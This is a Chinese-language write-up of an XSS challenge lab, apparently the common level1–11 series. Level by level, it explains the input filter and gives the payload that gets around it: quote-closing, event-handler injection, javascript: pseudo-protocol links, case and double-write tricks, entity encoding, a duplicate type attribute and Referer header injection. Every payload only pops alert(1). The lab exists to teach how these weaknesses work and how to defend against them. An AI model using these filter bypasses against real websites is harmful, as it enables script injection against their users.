目录
5.标签绕过
1.无过滤
直接过
2. 闭合双引号或标签
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
htmlspecialchars() :将特殊字符转换为 HTML 实体
在<h2>中不能用标签,会被识别为普通字符
在表单的<input>中提交代码。
" οnclick="alert(1)
"> <script>alert(1)</script>//
3.闭合单引号
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
这里使用单引号闭合,且 htmlspecialchars()没有设置ENT_QUOTES属性,单引号不会被转义。
a' οnclick=alert(1)//
通过:
4.闭合双引号
" οnclick="alert(1)
" autofocus οnfοcus="alert(1)
5.<a>标签绕过
对输入转小写,并且禁止<script>标签和on事件
可以使用<a>标签的javascript伪协议,没有on事件
a"> <a href=javascript:alert(1)>aaa</a>
6.大小写绕过
过滤了很多关键字,但是相比第5关,没有转小写。
a"> <Script>alert(1)</Script>
7.双写绕过
过滤了关键字,但是是用替换为空过滤的,所以可以用双写绕过
a" oonnclick="alert(1)
a"> <sscriptcript>alert(1)</scscriptript>>
8. HTML实体编码绕过
过滤了很多关键字,注入点在<a>标签的href属性中,可以对javascript伪协议进行HTML实体编码,在进入浏览器后会自动解码。
javascript:alert(1)
9.注释关键词绕过
乍一看不能再用javascript伪协议,因为链接里必须包含http://,但是这里只检测输入里是否包含http://,所以把http://放到字符串末尾,并注释即可。
javascript:alert(1)//http://
10.覆盖type类型
可以看到t_sort是注入参数,但是<input>的type是hidden,隐藏了起来不能直接使用。
如果<input>元素中有两个type属性,浏览器会忽略第二个属性,只使用第一个属性的值
添加type="text"使<input>框显示
?keyword=well%20done!&t_sort=1"%20type="text" οnclick="javascript:alert(1)
11. Referer绕过
HTTP头部绕过
1" type=text οnclick="javascript:alert(1)